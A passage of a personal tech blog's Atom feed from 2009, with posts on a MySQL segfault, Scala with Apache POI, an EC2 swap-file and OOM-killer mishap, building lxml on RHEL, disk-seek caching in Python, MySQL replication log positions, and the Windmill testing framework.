whipped out GDB and did a trace, which I posted with a &lt;a href="http://bugs.mysql.com/bug.php?id=49183"&gt;bug report&lt;/a&gt;. I don't know if anything will come of that, but I assume &lt;span style="font-style: italic;"&gt;any&lt;/span&gt; segfault is considered to be a bug.&lt;br /&gt;&lt;br /&gt;Today's lesson: have a backup.&lt;br /&gt;&lt;br /&gt;Update: The MySQL people asked for the files. Alas, by that point, I had already deleted them.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-4531121609254822872?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/4531121609254822872/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2009/11/problem-with-no-solution.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/4531121609254822872'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/4531121609254822872'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2009/11/problem-with-no-solution.html' title='A problem with no solution'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-4092394234192854641</id><published>2009-11-25T23:46:00.000-08:00</published><updated>2010-01-18T03:02:53.686-08:00</updated><title type='text'>Scala == EPIC WIN</title><content type='html'>Find an excuse, any excuse, to try Scala. My excuse was that the (otherwise awesome) Python xlwt Excel-writing library didn't support hiding cells and took a minute and a half to process a huge spreadsheet. Apache produces the POI library, which supports hiding. It's also a lot faster.&lt;br /&gt;&lt;br /&gt;To save myself the agony of writing a Java program, I tried Scala, which compiles to JVM bytecodes and interoperates with any Java library. It also has a ridiculouly good XML integration -- there's a lightweight (non-DOM) XPath-like API for processing XML. You can apparently even paste arbitrary XML directly into your program -- the parser is smart enough to turn it into Scala objects.&lt;br /&gt;&lt;br /&gt;Scala has been &lt;a href="http://neopythonic.blogspot.com/2008/11/scala.html"&gt;criticized&lt;/a&gt; by no less than Guido van Rossum for having a too-complex type system. He's probably right -- the type system &lt;span style="font-style: italic;"&gt;is&lt;/span&gt; really complex. It's also more verbose than ideal: unlike O'Caml, you have to declare the type of every function parameter. But for my purpose, using a Java library without actually having to type&lt;br /&gt;&lt;pre&gt;ExcessivelyLongClassTypeName excessivelyLongObject = new ExcessivelyLongClassTypeName();&lt;/pre&gt; a zillion times, it was great. It didn't take long to take the  XML dump of my data and shove it into an Excel spreadsheet with POI.&lt;br /&gt;&lt;br /&gt;One gotcha in POI: if you make a reference to a cell on another sheet before that sheet exists, POI will fail silently, whereas xlwt would throw an exception. For instance, if you entered the formula "='Sheet 2'!D3"  before you created Sheet 2, the output cell in the .xls will contain =$#REF!.D3 instead of what you entered. You can avoid this by creating all of the sheets at once and filling them in later. (Note that you can't use the setSheetOrder() call to reorder sheets after you create them; the sheet references get silently b0rked. I'm surprised this bug hadn't been caught before; I just &lt;a href="https://issues.apache.org/bugzilla/show_bug.cgi?id=48294"&gt;reported it&lt;/a&gt;.) Otherwise, POI is epic win, too.&lt;br /&gt;&lt;br /&gt;(Also, you know how Joel Spolsky said that it's &lt;a href="http://www.joelonsoftware.com/items/2008/02/19.html"&gt;basically impossible to read or write Office formats&lt;/a&gt;, so you might as well just give up and use COM?  I'm not so sure.)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-4092394234192854641?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/4092394234192854641/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2009/11/scala-epic-win.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/4092394234192854641'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/4092394234192854641'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2009/11/scala-epic-win.html' title='Scala == EPIC WIN'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-6429604109960923829</id><published>2009-11-19T16:31:00.000-08:00</published><updated>2009-11-28T21:07:12.604-08:00</updated><title type='text'>How to shoot yourself in the foot, part 391</title><content type='html'>Very early this morning, I noticed that the oom-killer, the Linux kernel function that attempts to free up memory when it runs out by killing processes, had killed my database. This wasn't a huge problem, because the database is durable in face of unexpected termination (or so it says on the packaging), and the data is replicated in several different ways anyway. But it was still annoying, because it meant that I had to manually restart the update process that had been running when it was killed.&lt;br /&gt;&lt;br /&gt;Later that morning, the oom-killer woke up and killed the database&lt;span style="font-style: italic;"&gt; again&lt;/span&gt;. I took a careful look at the system and noticed that &lt;span style="font-style: italic;"&gt;it had no swap file!&lt;/span&gt; That was a bit odd.&lt;br /&gt;&lt;br /&gt;I googled a bit, and found a blog debate about swap files, the oom-killer, and MySQL. One guy contended that it was better to just let the oom-killer work, because if a computer started thrashing, you might be completely locked out, unable to even ssh in to fix things. Better to keep the system running and rely on InnoDB's inherent safety against crashes.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Bosh&lt;/span&gt;, I thought&lt;span style="font-style: italic;"&gt;&lt;span style="font-style: italic;"&gt;, &lt;/span&gt;what a silly idea.  Instead of gracefully slowing down as it thrashed, a single memory leak on a swapless system would immediately trigger the oom-killer.&lt;span style="font-style: italic;"&gt;&lt;span style="font-style: italic;"&gt;&lt;span style="font-style: italic;"&gt;&lt;span style="font-style: italic;"&gt;&lt;span style="font-style: italic;"&gt;&lt;span style="font-style: italic;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;So I merrily added a swap file to the system. I did not want to shut anything down to repartition and add a swap partition, so I swallowed the performance hit (hey, it's never supposed to swap, anyway, right?) and added a file on the root filesystem.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;# dd if=/dev/zero of=/swap.file bs=1M count=2048&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;# mkswap /swap.file&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;# echo "/swap.file     swap                    swap    defaults        0 0" &gt;&gt; /etc/fstab&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;# swapon -a&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Many hours later, my phone started chirping. Every time something goes wrong, I get a text message. When a lot of things go wrong (for instance, the server is completely inaccessible), I get a &lt;span style="font-style: italic;"&gt;lot&lt;/span&gt; of text messages. I was getting a lot of text messages.&lt;br /&gt;&lt;br /&gt;Of course, the server was completely inaccessible. Ping worked just fine, but ssh hung and went nowhere.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Pwned.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;I flipped on the EC2 monitoring process (1.5 cents an hour) to see what was going on. Strangely, while the CPU was pegged at 100%, the disk read and write loads were near-zero, which made me wonder if something else was amiss. I waited for perhaps twenty minutes, then I hit the reboot switch.&lt;br /&gt;&lt;br /&gt;Nothing happened.&lt;br /&gt;&lt;br /&gt;Or rather, the instance went from "rebooting" back to "running" much more quickly than I would have expected. I still couldn't connect, but I could ping.&lt;br /&gt;&lt;br /&gt;I tried another reboot. Then the pinging stopped.&lt;br /&gt;&lt;br /&gt;Then it started again. I sshed in -- and I connected! Luckily, everything was as I'd left it -- the EBS volume remained mounted, the database came back online. Even the swapfile came back up. When I refreshed the monitor, I saw this:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_RQWmQmpSh1E/SwXoaSet5KI/AAAAAAAAABk/5DxQhQT_SUk/s1600/monitor3.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 213px;" src="http://2.bp.blogspot.com/_RQWmQmpSh1E/SwXoaSet5KI/AAAAAAAAABk/5DxQhQT_SUk/s400/monitor3.png" alt="" id="BLOGGER_PHOTO_ID_5405982466063066274" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The middle of the y-axis appears to be 1.0 x 10^19 bytes, which I suspect is an error of some sort.&lt;br /&gt;&lt;br /&gt;Then suddenly my terminal stopped echoing. Had the system run out of memory already? I checked the system log through the Amazon management console -- not obviously so. There were no new oom-killer messages. Then I realized that this was the &lt;span style="font-style: italic;"&gt;second&lt;/span&gt; reboot. A few minutes later, I could ssh in again -- to the freshly booted machine. Oops.&lt;br /&gt;&lt;br /&gt;I wasted no time in chopping the swap down to 64 megabytes.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;UPDATE&lt;/b&gt;: I found the cause of the OOM. I left a single expression out of a WHERE clause, turning a simple join into the Cartesian product of two very large tables. Oops.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-6429604109960923829?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/6429604109960923829/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2009/11/how-to-shoot-yourself-in-foot-part-391.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/6429604109960923829'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/6429604109960923829'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2009/11/how-to-shoot-yourself-in-foot-part-391.html' title='How to shoot yourself in the foot, part 391'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_RQWmQmpSh1E/SwXoaSet5KI/AAAAAAAAABk/5DxQhQT_SUk/s72-c/monitor3.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-7983437761129119138</id><published>2009-10-29T22:55:00.000-07:00</published><updated>2009-10-29T22:58:02.265-07:00</updated><title type='text'>lxml on RHEL</title><content type='html'>Screen-scraping again. I opted for lxml instead of BeautifulSoup because lxml is faster and BeautifulSoup appears to be on the way out. (Its author &lt;a href="http://www.crummy.com/software/BeautifulSoup/3.1-problems.html"&gt;explains&lt;/a&gt;: "I no longer enjoy working on Beautiful Soup.")&lt;br /&gt;&lt;br /&gt;lxml is easy to install on Debian; you just say "apt-get install python-lxml". Red Hat is another story.&lt;br /&gt;&lt;br /&gt;I haven't had root access to a Red Hat box since 2002 or so, when my TP i1482 laptop died* and I installed Debian on its replacement. The screen-scraper needs to run on a Red Hat box.&lt;br /&gt;&lt;br /&gt;* When the backlight failed and I couldn't get a replacement to work properly, taking the housing off the screen and shining a bright light through it made it sort-of usable. An external monitor was even better. Then, the power supply or possibly the mobo started to fail and it took many tries to get it to boot. Unfortunately, my too-rapid power cycling blew the hard disk. At that point, I retired it.&lt;br /&gt;&lt;br /&gt;Unfortunately, the box's yum repositories did not contain an lxml package. lxml depends on versions of libxml2 and libxslt more recent than those in the repository, so I had to install those before I could install lxml from source.&lt;br /&gt;&lt;br /&gt;I tried binary RPMs of libxml2 and libxslt, but I think they depended on libraries newer than those in the yum repository:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;# rpm -i libxml2-2.7.6-1.x86_64.rpm&lt;br /&gt;warning: libxml2-2.7.6-1.x86_64.rpm: Header V3 DSA signature: NOKEY, key ID de95bc1f&lt;br /&gt;error: Failed dependencies:&lt;br /&gt;       libc.so.6(GLIBC_2.7)(64bit) is needed by libxml2-2.7.6-1.x86_64&lt;br /&gt;       rpmlib(FileDigests) &lt;= 4.6.0-1 is needed by libxml2-2.7.6-1.x86_64 &lt;/pre&gt;&lt;br /&gt;Then I tried the source packages:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;# rpmbuild --rebuild libxml2-2.7.6-1.src.rpm&lt;br /&gt;Installing libxml2-2.7.6-1.src.rpm&lt;br /&gt;warning: InstallSourcePackage: Header V3 DSA signature: NOKEY, key ID de95bc1f&lt;br /&gt;warning: user veillard does not exist - using root&lt;br /&gt;error: unpacking of archive failed on file /usr/src/redhat/SOURCES/libxml2-2.7.6.tar.gz;4aea24a1: cpio: MD5 sum mismatch&lt;br /&gt;error: libxml2-2.7.6-1.src.rpm cannot be installed&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Googling this error did not reveal anything useful, so I elected to install both packages from source. Fortunately, this wasn't too complicated. Here's a cleaned-up version of what I did.&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;(cd $HOME; mkdir mylib) # don't clobber the rpm-installed versions&lt;br /&gt;(cd libxml2-2.7.6; ./configure  --prefix=$HOME/mylib ; make ; make install)&lt;br /&gt;(cd libxslt-1.1.26; ./configure --prefix=$HOME/mylib/ --with-libxml-prefix=$HOME/mylib/ ; make ; make install)&lt;br /&gt;(cd lxml-2.2.2; python2.6 setup.py build   --with-xslt-config=$HOME/mylib/bin/xslt-config  --with-xml2-config=$HOME/mylib/bin/xml2-config)&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Invoke Python as follows, and lxml should work:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;env LD_LIBRARY_PATH=$HOME/mylib/lib/ PYTHONPATH=$HOME/lxml-2.2.2/build/lib.linux-x86_64-2.6/  python2.6&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-7983437761129119138?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/7983437761129119138/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2009/10/lxml-on-rhel.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/7983437761129119138'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/7983437761129119138'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2009/10/lxml-on-rhel.html' title='lxml on RHEL'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-7876645005156852381</id><published>2009-09-28T20:25:00.000-07:00</published><updated>2009-09-28T20:27:45.847-07:00</updated><title type='text'>Transit</title><content type='html'>Continental Airlines Flight CO 3160 &lt;span style="font-weight: bold;"&gt;on &lt;/span&gt;&lt;span style="font-weight: bold;" class="ITA-43"&gt;a bus&lt;/span&gt; in coach class&lt;br /&gt;&lt;br /&gt;I'm wondering if I can get the computer to suggest &lt;a href="http://consumerist.com/248199/google-suggests-you-swim-across-the-atlantic-ocean"&gt;something even weirder&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://barillari.org/images/cobus.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 842px; height: 567px;" src="http://barillari.org/images/cobus.png" alt="" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-7876645005156852381?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/7876645005156852381/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2009/09/transit.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/7876645005156852381'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/7876645005156852381'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2009/09/transit.html' title='Transit'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-7909479681993352692</id><published>2009-09-24T21:17:00.000-07:00</published><updated>2009-09-24T21:21:24.375-07:00</updated><title type='text'>Disks are slow</title><content type='html'>I have a simple SQL query. It does an inner join of a small (1000 row) table against three or four other tables. The indices are all properly configured, so looking up the joined rows should take close to constant time. But the query still took 30+ seconds.&lt;br /&gt;&lt;br /&gt;Then I remembered: the other tables are &lt;i&gt;huge&lt;/i&gt;. And disk seeks are&lt;i&gt; really&lt;/i&gt; slow.&lt;br /&gt;&lt;br /&gt;You can run hdparm -tT and learn that your disk can pull 150 MB/sec straight from the metal -- but that's _sequential_ access. &lt;a href="http://norvig.com/21-days.html"&gt;Peter Norvig reminded budding programmers &lt;/a&gt;that seeks are &lt;i&gt;four orders of magnitude&lt;/i&gt; slower than sequential fetches. You can download from &lt;a href="http://www.linuxinsight.com/how_fast_is_your_disk.html"&gt;this page a tiny C program that tells you how slow your disk really is&lt;/a&gt;. My vintage-2008 laptop can seek about 55 times a second.&lt;br /&gt;&lt;br /&gt;In the above query, the joined tables were colossal and the joined rows widely separated, so every read took a seek. Even with O(1) lookup time, if the constant in front of the big O is about 18 ms, that's 18 seconds. Since the query joined several such tables, the actual duration was a few times that.&lt;br /&gt;&lt;br /&gt;Since the data that this query interrogates change rarely, I can just cache the result. I wrote a little Python decorator for that. It uses cPickle, but could easily be adapted to use memcached. Note that this function doesn't check for staleness. It expects an external process to purge stale cache entries.&lt;br /&gt;&lt;pre&gt;def diskcache_wrap(fcn):&lt;br /&gt;   """ wrap this function in a diskcache access """&lt;br /&gt;   def wrapper(*args, **kwargs):&lt;br /&gt;       " the wrapper iteself "&lt;br /&gt;       hashl = hashlib.sha1()&lt;br /&gt;       if args:&lt;br /&gt;           hashl.update(cPickle.dumps(args))&lt;br /&gt;       if kwargs:&lt;br /&gt;           hashl.update(cPickle.dumps(kwargs))&lt;br /&gt;       digest = hashl.hexdigest()&lt;br /&gt;       path = os.path.join(CACHEDIR, "wrap-%s-%s" % (fcn.__name__, digest))&lt;br /&gt;       if os.path.exists(path):&lt;br /&gt;           try:&lt;br /&gt;               return cPickle.load(open(path))&lt;br /&gt;           except (cPickle.UnpicklingError, EOFError, IOError, ValueError):&lt;br /&gt;               os.unlink(path)  # probably broken, trash it&lt;br /&gt;       result = fcn(*args, **kwargs)&lt;br /&gt;       if not os.path.exists(CACHEDIR):&lt;br /&gt;           os.mkdir(CACHEDIR)&lt;br /&gt;       cPickle.dump(result, open(path,'w'))&lt;br /&gt;       return result&lt;br /&gt;   return wrapper&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-7909479681993352692?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/7909479681993352692/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2009/09/disks-are-slow.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/7909479681993352692'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/7909479681993352692'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2009/09/disks-are-slow.html' title='Disks are slow'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-7709215924019848957</id><published>2009-09-23T16:24:00.000-07:00</published><updated>2009-09-23T16:25:15.598-07:00</updated><title type='text'>Mysql replication confusion</title><content type='html'>Mysql's replication-setup instructions boil down to this:&lt;br /&gt;&lt;br /&gt;- Stop all activity on the master with FLUSH TABLES WITH READ LOCK;&lt;br /&gt;- Make note of the binary-log position on the  master with SHOW MASTER STATUS;&lt;br /&gt;- Dump out the future master with mysqldump, using the --lock-all-databases or --master-data options&lt;br /&gt;- Release the locks, load the data on the server, start the slave.&lt;br /&gt;&lt;br /&gt;The idea behind the locks is so that the dump is a consistent snapshot&lt;br /&gt;of the database. No activity should happen between taking the lock and&lt;br /&gt;finishing the dump. Presumably, that means that the master's position&lt;br /&gt;in the binary log as given by SHOW MASTER STATUS; should not change after the user issues FLUSH TABLES WITH READ LOCK;&lt;br /&gt;&lt;br /&gt;But that presumption would be wrong. Here's what I did:&lt;br /&gt;&lt;br /&gt;Open mysql, issue:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;mysql&gt; flush tables with read lock;&lt;br /&gt;Query OK, 0 rows affected (0.00 sec)&lt;br /&gt;&lt;br /&gt;mysql&gt; show master status;&lt;br /&gt;+------------------+----------+--------------+------------------+&lt;br /&gt;| File             | Position | Binlog_Do_DB | Binlog_Ignore_DB |&lt;br /&gt;+------------------+----------+--------------+------------------+&lt;br /&gt;| mysql-bin.000124 |    21494 |              |                  |&lt;br /&gt;+------------------+----------+--------------+------------------+&lt;br /&gt;1 row in set (0.00 sec)&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Leave that session open. At the command line, issue:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;$ mysqldump -u root -p'the-password' --databases names of the databases  --master-data |gzip &gt; masterdump.sql.gz&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Go back to the read lock session. Issue flush-tables again. And, lo and behold:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;mysql&gt; show master status;&lt;br /&gt;+------------------+----------+--------------+------------------+&lt;br /&gt;| File             | Position | Binlog_Do_DB | Binlog_Ignore_DB |&lt;br /&gt;+------------------+----------+--------------+------------------+&lt;br /&gt;| mysql-bin.000124 |    21565 |              |                  |&lt;br /&gt;+------------------+----------+--------------+------------------+&lt;br /&gt;1 row in set (0.00 sec)&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;The position changed! Evidently, --master-data (which is supposed to&lt;br /&gt;stick the CHANGE MASTER TO statement into the dump so the user doesn't&lt;br /&gt;have to) must either release the original read lock or perform an&lt;br /&gt;action that bypasses it.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The CHANGE MASTER TO statement included by --master-data refers to the&lt;br /&gt;latter timepoint:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;--&lt;br /&gt;-- Position to start replication or point-in-time recovery from&lt;br /&gt;--&lt;br /&gt;&lt;br /&gt;CHANGE MASTER TO MASTER_LOG_FILE='mysql-bin.000124', MASTER_LOG_POS=21565;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;So, what happened between 21494 and 21565? Dumping the log reveals:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;# mysqlbinlog /var/log/mysql/mysql-bin.000124&lt;br /&gt;&lt;br /&gt;[most of log snipped]&lt;br /&gt;&lt;br /&gt;# at 21494&lt;br /&gt;#090916 13:38:32 server id 8887  end_log_pos 21565      Query   thread_id=86    exec_time=0     error_code=0&lt;br /&gt;SET TIMESTAMP=1253122712/*!*/;&lt;br /&gt;FLUSH TABLES/*!*/;&lt;br /&gt;DELIMITER ;&lt;br /&gt;# End of log file&lt;br /&gt;ROLLBACK /* added by mysqlbinlog */;&lt;br /&gt;/*!50003 SET COMPLETION_TYPE=@OLD_COMPLETION_TYPE*/;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Between 21494 and 21565, the log contains a 'set timestamp', 'flush&lt;br /&gt;tables', and 'delimiter' statement. These must have been added by&lt;br /&gt;mysqldump.&lt;br /&gt;&lt;br /&gt;I'm assuming that those statements have no effect on the integrity of&lt;br /&gt;the dump. Still, I find it a bit surprising that the manual doesn't&lt;br /&gt;mention this. (Interestingly, if you issue the --lock-all-tables&lt;br /&gt;option instead of --master-data, mysql does the same thing, except&lt;br /&gt;that CHANGE MASTER TO is not included in the dump. You have to add it&lt;br /&gt;yourself, deciding whether to trust the pre-dump or post-dump&lt;br /&gt;timestamp.&lt;br /&gt;&lt;br /&gt;For reference, I'm using Debian's mysql-server-5.0 package, version&lt;br /&gt;5.0.51a-24+lenny2.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-7709215924019848957?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/7709215924019848957/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2009/09/mysql-replication-confusion.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/7709215924019848957'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/7709215924019848957'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2009/09/mysql-replication-confusion.html' title='Mysql replication confusion'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-5155954752758025827</id><published>2009-09-21T11:14:00.000-07:00</published><updated>2009-09-21T11:25:03.532-07:00</updated><title type='text'>Windmill Testing Framework == AWESOME</title><content type='html'>The &lt;a href="http://www.getwindmill.com/"&gt;Windmill Testing Framework &lt;/a&gt;was written by the Open Source Applications Foundation (of &lt;a href="http://chandlerproject.org/"&gt;Chandler &lt;/a&gt;and &lt;a href="http://www.dreamingincode.com/"&gt;Dreaming in Code &lt;/a&gt;fame) is simply awesome. Not only was the project easy to install and fairly easy to start working with, not only were the people on the IRC channel really helpful, but, after I wrote my tests in Firefox on Linux, I switched to Internet Explorer on Windows and ran them all...without changing a thing.&lt;br /&gt;&lt;br /&gt;Actually -- that's not &lt;span style="font-style: italic;"&gt;exactly&lt;/span&gt; true -- I had to adjust the waitForPageLoad timeouts upwards to account for my currently-slow Internet connection and some caching issues inside my code. But besides that, I was stunned by how easy it was to switch browsers (which is the whole point of automated testing, anyway).&lt;br /&gt;&lt;br /&gt;It was a little difficult to get started, because (a) the documentation for Windmill is a bit sparse; it's a fairly new project and (b) it wasn't obvious to me what the Right Way to set up test cases was. You can save the tests as Python or JavaScript; you can run the tests from the command line, or, it appears, within the browser by serving static .js files from your server. I haven't tried the latter cases; I saved the tests in Python and run them from the command line. They work great. Windmill even has Flash integration in the works. I hand-hacked my Flash integration by providing ExternalInterface hooks that I call from Windmill to assert various things about the state of the Flash, but I'm looking forward to see theirs in the next release.&lt;br /&gt;&lt;br /&gt;One note: when you install Windmill, ez_setup  might complain about a syntax error.  This is probably fixed by now, but the IRC channel people advised me that it could be safely ignored -- the file in question isn't currently used.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-5155954752758025827?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/5155954752758025827/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2009/09/windmill-testing-framework-awesome.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/5155954752758025827'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/5155954752758025827'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2009/09/windmill-testing-framework-awesome.html' title='Windmill Testing Framework == AWESOME'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image 